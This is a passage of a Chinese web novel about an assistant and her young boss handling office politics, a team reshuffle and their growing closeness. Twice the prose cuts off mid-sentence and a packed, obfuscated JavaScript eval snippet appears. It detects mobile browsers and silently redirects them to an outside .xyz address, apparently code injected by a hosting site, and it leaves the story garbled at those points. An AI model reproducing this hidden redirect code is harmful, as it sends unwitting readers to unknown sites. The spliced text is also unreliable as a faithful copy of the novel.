“说来听听。”魏如栩等她开口,却迟迟没听见声音,转脸看到一张迟疑的面孔,随即笑道,“随便说嘛,说错了又不扣你工资。” “本来我想把创意B组拆了,分别塞进其他两个组里,再把原本两个组里的人选出来重新组一个B组。”顾妙顿了顿,“可这样新人去了别的组,恐怕会被排挤,所以我又想干脆把整个创意部的三个组全打散,重新分组,甚至可以跟策划部三个组一起动,看有没有想转岗的,一次性解决这个问题。” 魏如栩听了她的想法,感叹道:“确实动作比较大,而且这等于两个大部门一起调整,新分组确定能磨合得过来吗?” “所以我就没敢说出口……”顾妙低低地说,“其实还有方案2,把创意部和策划部合并,变成项目组,一个项目组里有策划有文案,直接跟AE按项目对接,像管理咨询团队那样操作。” “……想法倒是挺干净利落的。”魏如栩抬起手背蹭了蹭下巴,笑着说,“两个大部门合并,谁来做大头,原本两个小头怎么安置,都是事儿,顾助理,你这是在给我出人事难题啊!” 顾妙赶紧解释:“我就这么一说,不见真能这么做。公司从成立之初就是这么过来的,可不能随便乱动,要不然我真的成罪人了。” “什么罪人,那倒不至于。”魏如栩轻笑,“可能是妖妃吧。” 顾妙:“……” 妃你个头,这话我怎么接? 魏如栩脑子里一直在按照顾妙的提议高速运转着,并没有意识到自己说了什么,他陷入沉思,也没注意顾妙没有接他的话茬,车里又陷入了沉默。 这条路上红绿灯很多,早高峰还有点堵,车在车流中,几乎是走走停停。好在小魏总也没有路怒症,看起来心态十分平和。 顾妙讪讪地观察着他的侧脸,觉得他心情不错,有件事儿或许可以提一提。 反正他也说了工作上的事不要瞒他的嘛! “内个,老板,有件事儿不知该说不该说……” 魏如栩疑惑地看了她一眼:“按影视剧定律,这一般都是不该说的。” 顾妙心虚地闭上嘴。 “你说吧。”魏如栩盯紧前面的车,以免追尾,“省得好奇害死猫。” “……昨天车翔把你和廖总吵架的事儿跟我说了,我觉着……”顾妙捏着裙子,突如其来一阵胆寒,硬着头皮说,“这事儿我能干得来,不就当花瓶吗,只要能给公司拉项目……” “吱嘎——”尖锐的刹车声划过,顾妙的心脏顿时停跳。 魏如栩把车靠路边停下,怒气冲冲地盯着她,“顾助理,你脑子里进水了是吗?怎么这么有奉献精神?!” 67. 第六十七章 现场教学 见魏如栩脸色铁青,顾妙突然觉得自己好像捅了个天大的篓子,赶紧结结巴巴往回找补。 “你别生气……我也不是奉献……啊……那个其实……”顾妙词不达意,一时间不知道该说什么好,“你跟廖总否决了,我确实……确实不该再提……” 魏如栩冷冷地看着她:“你觉得当花瓶是什么意思?” 顾妙愕然:“呃……就、就是跟着团队一起见孙总,在旁边杵着,有点眼力见儿,说些好听话哄着他,要是吃饭的话,大不了陪他多喝几杯……” 还没等她话说完,魏如栩就冷笑:“听说你以前经常打工,麻烦问一下,你打工的地方是不是没什么男人?” 顾妙心想,不啊,酒吧不就挺多的么,不过我调酒,在吧台内,不怎么接触顾客。 就当她斟酌着该怎么回答魏如栩的时候,这位大仙先动了,他突然向顾妙俯身过来,几乎半个身体盖在她身上,侧脸抵在她的腮边,伸手向后座在掏些什么。 两个人脸与脸之间的距离几乎不到一厘米,如果旁边有人看到,会以为他们现在是脸贴脸的状态。 魏如栩的须后水气息扑面而来,清新而雅致,顾妙的头皮顿时炸开,僵在座位上动也不敢动,下意识地屏住呼吸。 这是她小魏总,她虽然不反感,但心里稍稍有点害怕,想错开身子,却又怕自己的逃避会伤害到对方,于是就这么直挺挺地坐着,耳边甚至能感觉到魏如栩呼出来的温热的气息。 如果此刻测心跳的话,顾妙认为她可以飙到130,而且……脸快熟了。 可魏如栩似乎还在找什么,没有坐回去的意思,丝毫没有觉得这样有什么不妥。 顾妙嘴巴发干,努力咽了咽唾沫,紧张地问:“老板,你……” 魏如栩的声音几乎是贴着她耳朵传来:“稍等,就快找到了。” 因为离得近,他刻意放低了声音。平时魏如栩是清越的少年音,说话婉转动听,这句则是耳语,自带低音炮效果,简直有迷惑人心的功效。他说话时的呼吸轻轻喷洒在顾妙腮边,她现在感觉自己的后颈都是麻的。 苍天啊大地啊不要考验我我经不起考验啊!顾妙心中划过一串弹幕。 魏如栩终于抬起身,脸挪开的时候嘴唇似有似无地擦过顾妙的耳垂和脸颊,接着把一摞文件放在了她的大腿上。 顾妙此刻全身的汗毛都站了起来,敏锐地感觉到他的嘴唇带来的一丝柔软的触觉,大脑登时短路,也不敢抬头,低着头呆呆地望着那摞文件,试图找回正常的呼吸频率。 “这是宠物自动喂食器的竞品报告,盛然昨天发给我的,我打印出来了。”魏如栩若无其事地说,“本想给你看看,还是算了,怕你晕车。” 他一边说着,一边伸手从顾妙腿上拿起文件夹,修长的手指拂过她的裙子,虽然没有怎么触碰到,不知道是不是出于自己的想象,顾妙好像还是感觉到了他手的温度。如果他再用力一点,几乎就可以直接摸上她的大腿。 她就算是再傻,也觉得魏如栩有点不对劲,他平时绝对不这样的! 顾妙战战兢兢地开口:“到底……” “呀,窗户上怎么脏了一块?”魏如栩没搭理她,望着她身侧的那块车窗,突然又俯身过去,右手扶着副驾驶座椅,左手从顾妙面前伸过去触碰那块污渍,等于把顾妙圈在怀里挤进角落。 两个人的脸再次无比接近,他要是再往前一点,简直就可以对她为所欲为。 顾妙实在忍不住,双手推着他的胸口,把他推离自己面前:“老板……这样有点别扭。” 魏如栩靠回自己的座位,微微挑起眉,面无表情地打量着她:“知道要反抗了?我还以为你真的这么逆来顺受。” “?”顾妙一脸空白,“你是故意的?” “不然你以为呢?”魏如栩皮笑肉不笑,“我真的在跟你谈工作?” 顾妙:“……” “即便我说的话都很正常,但刚刚我做的几个动作,都可以算是职场性骚扰。”魏如栩刚刚压抑下去的怒火又漫了上来,他那张好看的脸十分严肃,在光线的阴影下更显得棱角分明,自带气场,“你觉得当花瓶毫无危险是吗?刚才我已经算是把握尺度了,如果我存心想占你便宜,你觉得你能躲到哪里去——你知道男人都怎么想吗?他们有的人比我刚刚那样还要龌龊一百倍,就想着怎么把你吃干抹净还让你有苦说不出!” 顾妙被他吓得不敢说话,低着头思过,大气都不敢喘。 “不服气?觉得你自己足够机灵,能躲开?”魏如栩似乎还不解气,继续说:“就不说让你陪酒陪吃饭陪唱歌,单说就这样坐在车里——比如廖玄让你跟孙总坐一辆车,前面副驾驶坐上孙总助理,就你跟孙总在后座。如果我是那孙总,我有一百个揩你油的办法,你打算怎么办?委曲求全还是像刚刚那样反抗我?我不怀疑动起手来你占上风,但你可记住,反抗的话,这个项目就完蛋了,你得负全责!打架斗殴闹去派出所,没有人会替你作证!” 他突然伸手捏过顾妙的下巴,逼着她看着自己的眼睛,声音低沉地问道:“这样你也觉得自己应付得了吗?!” 顾妙这会儿正心乱如麻。刚刚从魏如栩的举动,到他的一番质问,搞得她心情像是过山车,忽高忽低,差一点连跳崖的心都有了。 现在对上他那因为生气而有点发红的眼睛,她也说不出到底是害怕还是委屈还是后悔,眼泪顿时就涌了出来,在眼眶里打转。 见顾妙眼泪汪汪地看着自己,魏如栩的心立刻就软了,他松开手,看到她下巴上还有他捏出来的红印,心疼得不行,想给她揉一揉,却又不敢再抬手。 “我真的不在乎你撅我的面子,即便我做了决定,你也有质疑的资格。”魏如栩轻叹了一口气,声音软下来,“我是气你不懂得保护自己。还有,我也知道你不怕危险,可是聪明人首先会避免危险。” 他一边说着,一边抽了张纸巾递给她,像是解释什么似地说:“公司的项目再重要,如果我们实力不够拿不到,我也无话可说。可凭借这种歪门邪道去拉客户,也不会有好结果——再说,你觉得廖玄拿你去献祭,孙总就会把项目给我们?他会一边享受着揩油带来的快乐,同时心里还会更加鄙视我们。我们又能怎样,自己抛掉了尊严,拿什么来指望别人给予尊重?” 顾妙擦了擦眼泪,低声道:“对不起,是我把事情想得太简单了。” “我们做乙方的,有些事难免无奈,但脑子一定得清楚,什么样的妥协可以做,什么样的妥协不能做。”魏如栩两手搭在方向盘上,神情疲惫地望着远方,“我跟廖玄的根本分歧可能就在这。也许他说我不适合做这一行是对的,但只要我还当这个总经理一天,就不能跨越我的原则。” “可能没见过世面限制了我的想象力。”顾妙有点羞愧,“对不起……” 魏如栩:“我倒是希望一切都能像你想的那么简单。虽然孙总未必是个坏人,但我只能把一切都往最坏的程度去想,要不然最后吃亏的只会是我的员工。” 顾妙小心翼翼地觑了魏如栩一眼,看他面色已经恢复正常,才半开玩笑地说:“老板,第一次见你发这么大火……我刚刚忍不住回想了无数个霸道总裁暴跳如雷的场面,都没你这样吓人。” 那是因为他们没有我这么在乎,魏如栩心想,这丫头还挺会往人心上捅刀子,一捅一个准,不知道是不是练过。 “你还有空走神呢?看来我也没能成功吓着你。”魏如栩觉得有点憋闷,把车窗开大了一点,脑袋靠在头枕上,转过去端详着顾妙,轻声道,“之前我的动作过分了——抱歉。” 他刚才只顾着给顾妙展现她可能会遭遇的情况,同时还在精准地拿捏着分寸,既要让她感到事情的严重性,又不至于真的让她觉得不适,就没顾上感受那些旖旎。现在想来,似乎顾妙脸颊的香气还在他的鼻端萦绕,让人忽然一下子就心猿意马起来。 还没等顾妙发话,他就把头扭开,目光看向一旁的车流,掩饰地用手背蹭了蹭鼻子。 他想起刚才第一次靠近顾妙的时候,她并没有躲开。不管她是不是考虑到躲开会伤害到他,身体语言是不会骗人的,这说明她并不排斥自己。 想到这里,魏如栩在顾妙看不到的地方微微翘了翘嘴角。 “没事,我知道你是为我好。”顾妙看了看时间,“咱们……走吧?要不然真得迟到了。” 魏如栩目送着长得不见首尾的车流,哀叹:“我不想加塞,等会儿吧,回头我给你在考勤表上签字。” 接下来去公司的路上,顾妙还是拿起那摞竞品报告看,魏如栩则一边开车一边暗自揣摩。 廖玄这是要干嘛?精明如他,明明知道这事儿私下操作更方便,他完全不需要跟自己打招呼,直接以项目需要的借口把顾妙借过去用就行了,为什么多此一举? 这样一来不仅会让他们之间的矛盾升级,更会让自己对他生出防备心。他老人家这是图什么呢? 魏如栩退一步想,大约猜出廖玄这是纯粹为了恶心自己,以及他完全不怕自己的防备,因为他可以让他防无可防。 想到“防无可防”四个字,他的心猛地一抖,立刻转头对旁边的顾妙说:“哎,你提高警惕,要是廖玄在我不在的情况下,硬拉你去见孙总,或者突然让你离开公司去什么地方见他,你一定找借口拒绝,要是实在拒绝不了,就记得告诉我一声。” 顾妙诧异地看着他:“不至于吧?廖总还能亲自上阵逼良为娼?” “防范于未然。”魏如栩冷漠地说,“这糟老头子坏得很。” 不知道是不是一路上念了太多廖玄的名字,顾妙一进电梯,就撞见了这位穿了英式三件套的精致“糟老头子”。 顾妙没顾上腹诽他到底嫌不嫌热,只是暗暗倒吸了一口凉气,心想幸亏魏如栩没让她跟着进地库,万一三个人在这电梯里撞见,可还真够尴尬的。 廖玄瞥了她一眼:“顾助理喜欢踩点上班啊?” 顾妙大气不敢出,讪讪地回答:“以后我会早来。” “也不用,反正你在小魏总那里享受一切豁免权,你想怎么样就怎么样,我可没资格质疑你。”廖玄阴阳怪气地说。 顾妙:“……” 这人怎么回事?活像从英剧《极品基老伴》里走出来的人物,张口就要呛人,顾妙感觉整个电梯轿厢里都是辣椒水味。 一瞬间她心里想了无数句话,可没有一句适合去接廖玄的尖酸刻薄,于是干脆闭嘴,望着地面装傻充愣。 廖玄嫌弃地看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459444|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看她,欲说还休。他确实见顾妙如见魏如栩本人,简直想调动全身的毒舌细胞对她展开360度的嘲讽才能过瘾,可转念一想又觉得自己这样未免把小肚鸡肠的本性暴露的过于明显,太失身份,于是硬生生地抿起嘴。 顾妙瞟了一眼显示屏上的楼层号,无比期待这趟电梯能早早到达目的地。 突然廖玄又出了声:“世纪明光的项目你到底想做不想做?这对新员工来说是个很好的机会。” “……可我确实什么都不会……”顾妙不敢拒绝,怕下一句廖玄就骂她给脸不要。 “不会才要学啊!” “那……要不我跟着策划部开策划会?多观摩学习。”顾妙解释道,“我怕我做不好给你们拖后腿。” 她迎着廖玄端详她的目光,咬着后槽牙做出一脸坚定而又怯懦的表情,可惜面前没镜子,也不知道这两个极端相反的情绪她有没有混合得完美——既让人觉得自己谨小慎微是个不敢得罪领导的怂包,又能传达出她顾小妙绝不任人摆布的意思。 昨天发生的事情两人心照不宣,又不好点破,廖玄知道这人揣着明白装糊涂,便玩味地看着她,片刻后轻笑了一声:“真当自己倾国倾城么?” 电梯到了公司门口,廖玄说完就走了出去,顾妙顾不上抢在九点钟打卡,伏在前台大喘气,抓紧时间补充脑中缺失的养分。 前台小妹看见她,诧异地问:“顾助理,你怎么了?” 顾妙抬起一只手,以极小的幅度挥了挥:“没事,我在回蓝。” 一大早就搞这么赤激,要是隔三差五来这么一出,日子还能好好过下去吗?顾小妙想拥有橙装! 估摸着魏如栩就快上来了,顾妙赶紧进了公司,到了办公室,把咖啡煮上,装作一切安定又从容,心里却在暗暗琢磨着怎么哄一哄她小魏总。 虽说她很不希望魏如栩因为自己的问题跟廖玄产生矛盾,也知道这次他俩之间的矛盾是因为原则冲突,只是恰好落在了自己身上而已。如果这事的当事人换做别的员工,她相信魏如栩也一样会挺身而出去阻止。 但这次的事儿毕竟是落在了她身上,她还这么缺灵魂少智慧地去戳他的心,顾妙越想越觉得内疚,想着得做点什么好好补偿他一下。 工作上认真勤勉那是本分,不算补偿,要不……送他一点东西?可她想来想去,却意外地发现,她好像连魏如栩的爱好是什么都不知道。 可能因为相识的时间不长,又可能因为魏如栩从没拿她当生活助理让她去做什么私人的事情,总之她对他的喜好一无所知。 根据回忆,顾妙勉强能总结出来的就是他很随和,一切都可以随便。吃的方面投喂什么都可以;穿衣风格也很多变,看心情打扮,这么一来也很难确定他的喜好;住的地方也没那么讲究,除了电视要大屏追求极致视听效果以外,也没什么其他破事儿;至于饰品,他和其他狗直男一样,一点也不精致,上次戴的那十块钱俩的金色耳夹,还把他的耳垂都给染绿了…… 她跟这儿胡思乱想一通,只听见里面魏如栩突然喊了她一声:“顾助理,现在不忙的话,麻烦去请喻总到我这儿来一趟吧。” “哦……好,我这就去!” 喻真的办公室在下面一层,顾妙在去的路上正好路过创意B组的工作区,眼尖的戚滢滢一眼就看到了她今天穿了齐腰襦裙,激动地冲她招手,压着声音喊:“妙妙姐,你穿上真好看!” 已经有同事听见,循着声音望向自己,顾妙受不了这样的注目礼,赶紧快步走到戚滢滢跟前,一把抓住她那无处安放的小手腕:“别叫啦!” 祝商祺、贺若和茅笛只是回头看了她一眼,连客套的点头微笑都没有,很快就把脑袋都转回去了。 戚滢滢喜不自胜,上下打量顾妙,小声说:“我眼光准吧,一看就知道你适合这个风格。” “准准准,你设计师的眼光这么独到,当然没问题了。”顾妙敷衍她两句,发觉苗之钦并没有在工位上,随口问道,“你们组长呢?” “哦,被喻总叫走了。”戚滢滢心不在焉地回答,明显她的心思已经飞到了顾妙的衣服上,摸摸这里,摸摸那里,就像是在欣赏什么艺术品。 顾妙远远望去,透过墙玻璃,看见苗之钦垂着头站在喻真的办公室里,那身体语言明显是在挨训,心里不由地“咯噔”了一下。 苗之钦已经cover不了她组员的那些错误了么……真够可怜的。 “嗯,我先去趟喻总那儿。” 顾妙刚要走,却被戚滢滢抓住,大眼妹可怜巴巴地看着她,央求道:“妙妙姐,国庆节假期的时候有漫展,我要在汉服专区摆个展位,能不能请你过去帮我当个模特?一天就行!球球了!” “行啊,没问题。”顾妙也不是没当过模特,反正去的人都不认识,被陌生人看倒也无所谓,再加上她着急去找喻真,没怎么细想就答应了。 戚滢滢激动得差一点就站起来拥抱她,被她狠狠按在了座位上:“上班呢,注意一下。” 摆脱了戚滢滢,顾妙加快脚步向喻真办公室走去,心里存了一点想要解救苗之钦的意思。 谁知她敲了敲门,刚把门推开一条缝,就听见喻真那能把沸水瞬间冷冻的声音:“弄成这样,你还想不想干了?!” 68. 第六十八章 默契 喻真的视线被一侧毛玻璃挡住,并看不到谁站在门口。而苗之钦一直垂着头,知道有人来了,但不敢抬头看。 顾妙听到刚刚喻真的话,怕伤到苗之钦的自尊,就站在门口没再动脚,加大力度在玻璃门上敲了敲。 里面安静了几秒钟,伴随着苗之钦扭头看来的动作,喻真的声音也传了出来,虽不带着怒气,但仍是让人觉得冰冷刺骨:“请进。” 顾妙推开门并没有进去,只是站在门边,堆起笑容,佯装什么都没听见,若无其事地向苗之钦点头一笑,然后对喻真说:“喻总,小魏总找您有点事,看您什么时候方便过去?” 她本想着传完话就走,免得杵在这儿尴尬,谁知道喻真立刻站起身:“现在就可以,我跟你一起上去。” 她走到苗之钦身边,脸色再度冷了下去:“你回去好好想想吧。” 顾妙垂着眼退到了门外边,等喻真出来便跟了上去。走了几步,她回头看了一眼苗之钦,见她在关喻真的办公室门,整个人是个大写的“丧”。 “该不会是创意B组出了什么业务上的问题了吧?被客户投诉了?”顾妙忧心忡忡地想,“苗之钦当组长这阵子真是受苦了,也不知道人事调动之后,她还能不能再当组长。” 她正在胡思乱想着,听见前面喻真回头问她:“顾助理,小魏总找我什么事,能提前通个气吗?” 顾妙一怔,心思急转,她倒是可以跟喻真说一下这是有关创意B组的人事调整,但现在反而不敢说了。毕竟她和小魏总从来没有从喻真这里得到过B组的业务现状汇报,如果她说了什么不该说的,让喻真觉得苗之钦有越级汇报的嫌疑,这个冰雪皇后会不会把苗之钦冻成一座冰雕? 至于小魏总要跟她怎么谈,顾妙倒是不担心。魏如栩别的不行,这方面的灵活度还是有的。 于是顾妙摆出一副职业微笑,对喻真说:“他也没跟我说,应该没什么大事。” 喻真看着她,表情有点诡异:“顾助理嘴还挺严的,是好事。” 顾妙:“……” 她应该是想调侃吧,可是那张冰山脸做不出来调侃的戏谑表情,倒是扭曲得有点吓人,连话的腔调都不对劲,听起来活像是在嘲讽。 唔……没准她就是在嘲讽。 顾妙没接她的话,眼看两人已经上了楼梯,她便礼节性地问:“喻总喝点什么?我去准备。” “白水就行了。”喻真随口道。 “好。”顾妙引着她进了魏如栩的办公室,“小魏总,喻总来了。” 魏如栩礼貌地站起身,走到沙发边,笑容可掬地对喻真说:“来了,请坐。” 顾妙去小吧台帮两人准备喝的,就听见魏如栩没打算浪费时间寒暄,直奔主题。 “喻总,创意B组目前工作情况还理想吗?”魏如栩柔和地笑了笑,在喻真严肃地提出质疑之前,先行做了解释,“这是我当总经理之后招的第一批人,现在想想,把新人全搁在一个组里似乎不太妥当,所以比较关心他们的工作表现。” 以退为进什么的,小魏总最会了。顾妙听到他这么说,会心一笑,端着咖啡和白水放在魏如栩和喻真面前,果然看到喻真一张憋着话无处抒发的脸。 顾妙极度怀疑,如果魏如栩没有补充后半句,喻真问的第一句话一定是带着浓浓挑衅意味的“小魏总是听谁说了什么吗?” 公司里的高管们明面上对魏如栩还算尊重,但生硬如喻真,似乎天生不会说软话,她不是身披铠甲,而是把自己整个人变成了刀枪不入的铠甲。 想到这里顾妙有点心累,公司里高管级别的中老年男子一个个都像行走的五花肉,好不容易就有俩女高管,一个丁萧然虽然美如花,但说起话来自带太极模式,跟她说话就像在猜谜,另一个就是喻真这样的万年冰块脸,一开口就是刀枪剑戟让人下不来台。 想必魏如栩早有准备,才选择了这样的聊天策略,没让她打开进攻模式。 喻真很快整理好了思路,也走了自我检讨的路子:“没及时跟你汇报,是我的失职,抱歉。坦白来说,创意B组的表现并不尽如人意。” 顾妙听到这里,礼貌地冲魏如栩和喻真笑了笑,退出了办公室。 在当初招聘的时候,喻真也是保持沉默的人,她对魏如栩的态度到底是支持还是看不上,现在都很不明朗,反正在关键时刻她没有做该做的事,顾妙也不由地把她当成了假想敌。 现在想想刚才苗之钦难过的样子,顾妙便也坐不住,随手拿起一个文件夹,下楼到了创意B组的办公区,找到苗之钦:“苗姐,我想跟你商量下分享会的事儿,方不方便去会议室聊聊?” 苗之钦眼睛微肿,想必是刚哭过,听到顾妙的召唤,连连点头,跟她去了一间最小的会议室。 所谓的学习分享会一次还没举行过,主要原因就是创意B组太忙——大家都还没适应新工作,都在忙着返工,苗之钦最忙,不仅要审核,还要各种帮人打补丁。 一进会议室,苗之钦就歉意地说:“顾助理,是不是小魏总问起这事儿了?对不起,最近实在……” 顾妙把百叶窗帘拉上,体贴地对她一笑:“没有,我就是看你心情不好,许是挨了训,所以想跟你私下聊聊。坐吧。” 听了这话,苗之钦更紧张:“我没事,真的,喻总也是为我好,我就是刚刚有点情绪,现在都过去了。” 顾妙拉着她坐下,笑道:“你别多想,我不是来给小魏总当探子的,今天不管你跟我说什么,都不算汇报,我只是作为同事关心你。” 见苗之钦还是不太放心,满脸写着为难,顾妙轻叹了一口气:“我知道,最近这段日子都是你在撑着,做事的是你,挨训的也是你,夹在上下级中间活像汉堡包中间的肉,被挤成饼都没地儿说理去。” 她觑着苗之钦的脸色,干脆说道:“我跟你交个底,小魏总这次叫喻总过去,其实是想讨论你们组的人事变动,所以现在你有什么想说的可以尽管说,如果时机合适,我也会跟小魏总提出合理建议——你放心,一定不会出卖你。” 一听“人事变动”,苗之钦担忧地看着顾妙:“小魏总是不是觉得我们组业绩不行,要把我们组给拆了?” “你也别多想,并不是这个原因。你是小魏总亲自选出来的,茅笛他们也是他亲自拍板定的,对于创意B组小魏总寄托了更多的感情。”顾妙拍了拍苗之钦的手,“他也意识到让你一个人带四个新员工实在太累,想要做下调整。怎么,难道你不觉得累吗?我看你最近这半个多月,可是瘦多了。” 正如顾妙所说,苗之钦最近非常累,而且吃力不讨好,除了戚滢滢领略到了她的关怀和照顾,对她感恩备至之外,其他三个员工并没那么领情,反而总因为被苗之钦提意见而心里颇有抵触。 这也是人之常情,总被别人挑毛病,谁心里能好受? 可对于苗之钦而言,知道会被人厌恶,还是要硬着头皮去一条条指出他们的错误,这感觉更加酸爽。 有些问题她提了好几次,对方仍旧不改,也不知道是没用心听还是故意的,苗之钦也没办法,只好亲自上手改。大包大揽的后果就是把她累到快断气,脑子也不好用,难免出问题。 今天喻真训她就是因为这个,因为她太维护组员,反而使得自己犯错——有几条官博没审核好,出现了错别字,还有个别病句,喻真接到了客户的投诉。 所谓成年人的崩溃只在一瞬间,听顾妙戳到自己的伤心事,苗之钦本来就情绪浮动,这下又忍不住流了眼泪:“我是不是太软弱了?道理我都懂,可我就是不想当那个坏人,不想让组员在背后讨厌我、骂我,我还能怎么办呢?” 顾妙安慰她好一通,看她能对自己敞开心扉,也终于放了心。 公司高层得罪不起,但基层员工也很重要。像苗之钦这样肯吃苦耐劳的员工是宝贝,顾妙生怕真把她用坏了,人家一封辞职信递上来,想再找同样的好员工就难了。 顾妙以前在咖啡馆当代理店长,也为同样的事情操心劳力过,知道有个能独当一面的下属有多么重要。现在她小魏总业务还不熟悉,跟管理层那帮大脑袋斗法都步步维艰,她要能帮他把下面员工的情绪维护好,也算为他排忧解难了。 工作上没谁过得容易,不过是各尽其力罢了。 跟苗之钦聊完,顾妙让她消化一下情绪再走,自己就先拎着装样子的文件夹回到了总经办。 喻真也已经离开了,魏如栩正趴在办公桌上看文件,顾妙过去敲了敲隔间的门,靠在门框边:“聊得怎么样?” 魏如栩眯起眼睛看她:“上班中间溜号,回来就问我战况——给自己升职了顾助理?” 顾妙笑嘻嘻地冲他做了个鬼脸,拉过他办公桌前的转椅坐下,跟他趴了个头对头:“你的事情比较重要,说完了再说我的。” “其实也没什么,情况都是咱们了解的那些,只不过给了喻真吐槽的机会。”魏如栩看起来比顾妙想象的轻松,转着手里的中性笔,“也不知道她是夸张还是怎样,反正创意B组确实表现不好。人是我亲自招的,业绩有问题,就是在打我的脸。估计喻真也是这么想的,所以说起话来毫不留情面——估计他们就等着这一天呢吧,早想这么干了。” “害,别往那方面想,装听不见就是了。”顾妙努力给受挫的小魏总顺毛。“你跟她讨论出什么方案来了吗?” “没有,我今天耍了个鸡贼。”魏如栩冲她一挑眉,瞬间变脸,笑眯眯地说,这表情生动又活泼,看得顾妙一怔。 “怎么鸡贼了?” “最近我一直在总结错误,发现我好胜心太强,太想出头,所以事必躬亲了。你看,我既不懂业务,又不懂管理,干不好那是自然的,这个软咱得服,对吧。”魏如栩得意地笑起来,“所以我让喻真去给我出人事调整方案,在不裁员的前提下至少准备出两个可供选择的计划。她作为副总就该干这些,我干嘛抢她的工作呢?” “进阶了!”顾妙竖起大拇指:“知人善任,小魏总棒棒哒!” “又拍马屁。算不上什么知人善任,只不过我们每个人各司其职罢了。”魏如栩直起腰,摆出个端庄的坐姿,“你干嘛去了,从实招来。” “也没啥,就去见苗之钦挨训,去安慰了她几句。”顾妙把苗之钦的事儿简单说了一遍,感叹道,“你也知道喻真不好伺候,估计她批评苗之钦的话会更不中听,我还真有点担心苗之钦的小心脏受不了。” 魏如栩认真听着顾妙的描述,脸上挂着若有若无的笑意,盯着她看,太阳光从窗户溜进来,照得他眼中波光潋滟,煞是好看。 顾妙注意到他的笑容,不好意思地别开脸:“看着我干嘛?” “看我这从酒吧里捡来的宝贝,真是好,幸亏我抓得紧,没让你跑掉。”魏如栩感慨地说,“替我安抚受委屈的下属,怕我走宝,能有你这样设身处地为老板考虑的员工,我真是幸运。” 说着他向顾妙举起了手:“干得漂亮啊顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459445|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助理!Givemefive!” 顾妙觉得他这会儿幼稚得像个小孩,撇着嘴拒绝,扭开脸:“不give!” “来嘛!害什么羞!”魏如栩把手凑近她的脸,半撒娇地说。 “噫,什么腔调,老板你这么说话要不要脸?!”顾妙斜眼瞅他,嫌弃地说。 魏如栩站起身,硬拉着她的手跟自己拍了一下,心满意足:“我没那么重的偶像包袱,就觉得能有一个这么有默契的搭档此生足矣。” 他没有立刻松开顾妙的手腕,而是握得紧紧的,极其诚恳地说:“一起加油。” 顾妙看着他的眼睛,徐徐绽开了一个轻松的微笑:“嗯!” 煽完情各归各位,顾妙忙着扮演了一上午的知心姐姐,还有一堆工作没做,要回去恶补。她走到隔间门口的时候,忽然回头问了魏如栩一句:“中秋国庆咱们照常放假吧?” “放啊,正好连一起,得放个十天吧,回头我查查法定假日。” “你有什么安排?” 魏如栩玩味地抬头看她:“干嘛,想约我?” “屁!自恋鬼。”顾妙白眼快翻到后脑勺了,“怕你中秋夜孤单,邀你到我家跟顾肖和小姨一起赏月。” “哈,可惜了。我得去国外看我爸。”魏如栩挠挠头,遗憾地说,“平时顾不上,放假了怎么也得去看一眼。” “也对。那我就放心了。”顾妙没了心思,继续往外走。 “顾助理!” “嗯?” “要不要和我一起去见我老爸?”魏如栩冲她促狭地眨眨眼。 “不要。”顾妙面无表情,“怕你回来就没助理了。” 魏如栩一愣,似乎没明白她的意思。 顾妙露出得意的表情:“到时候老魏总给我两千万,让我离你远一点,我当然是拿钱走人啦!” 这回轮到魏如栩翻白眼翻到像是不省人事:“什么年代了还说这种烂梗,真是没救了!” 重头戏都在上午之前演完,顾妙一脑袋扎在文件堆里,恍如隔世,再反应过来已经到了下午下班时间。 魏如栩收拾好东西过来敲她桌子:“不回家吗?” “正在犹豫——最近听到一些闲话。”顾妙蹙着眉发愁。 “关于我俩的绯闻?”魏如栩弓着腰托着腮,煞有兴致地问,“说来听听!” “你想多了,谢谢。”顾妙手指轻轻敲着电脑,“我觉着我应该在公司加班,老把工作带回家做,显得不太好,好像我工作少用不着加班。你看策划部和创意部,每天晚上就跟在这上晚自习似的,我要是太潇洒,会不会给人留下你小魏总对我管理不严的印象?” “人啊,活在别人的眼光里啊!”魏如栩啧啧叹道,“能不能脱俗一点。你加班少,难道不能证明你工作效率高,工作能力强?” “嘁,骗鬼呢吧?” 顾妙还想继续反驳,就看见戚滢滢眼睛放光地跑了过来:“太好了妙妙姐,你还没走。” 自从上次被魏如栩做过“心理咨询”之后,戚滢滢似乎也不再害怕魏如栩,大大方方跟他打招呼:“小魏总好。” 魏如栩端出来一点老板样,高贵冷艳地点了点头:“嗯,下班了?找顾助理有事?” “昂呢!”戚滢滢兴奋地说,“顾助理答应在漫展上给我的摊位当模特,我再来确认下她的尺寸,好改其他的衣服。” “当模特?”魏如栩转头看着顾妙,上下打量她一遍,眼神跟刮刀似的,刮得她浑身不自在。 顾妙有点恼火:“怎么?不行啊?” “行行行,好得很,早上我不都夸过你一遍了吗,瞧你,这么没自信。”魏如栩笑眯眯地问戚滢滢,“需要男模特吗?考不考虑我?” 简直天降大礼包,把戚滢滢给砸晕了,她诧异地仰头看着魏如栩,声音颤抖:“小魏总……你……你真的愿意?” “愿意愿意,别说得跟婚礼誓词似的。”魏如栩轻描淡写,“举手之劳嘛!” 顾妙觉得他什么事都爱插一脚的病又犯了,理性提醒:“大佬,你假期要去国外看老魏总,忘了?” “我又不在那待十天,看看就回来,一定赶得上。”魏如栩问戚滢滢,“你那展览哪天?” 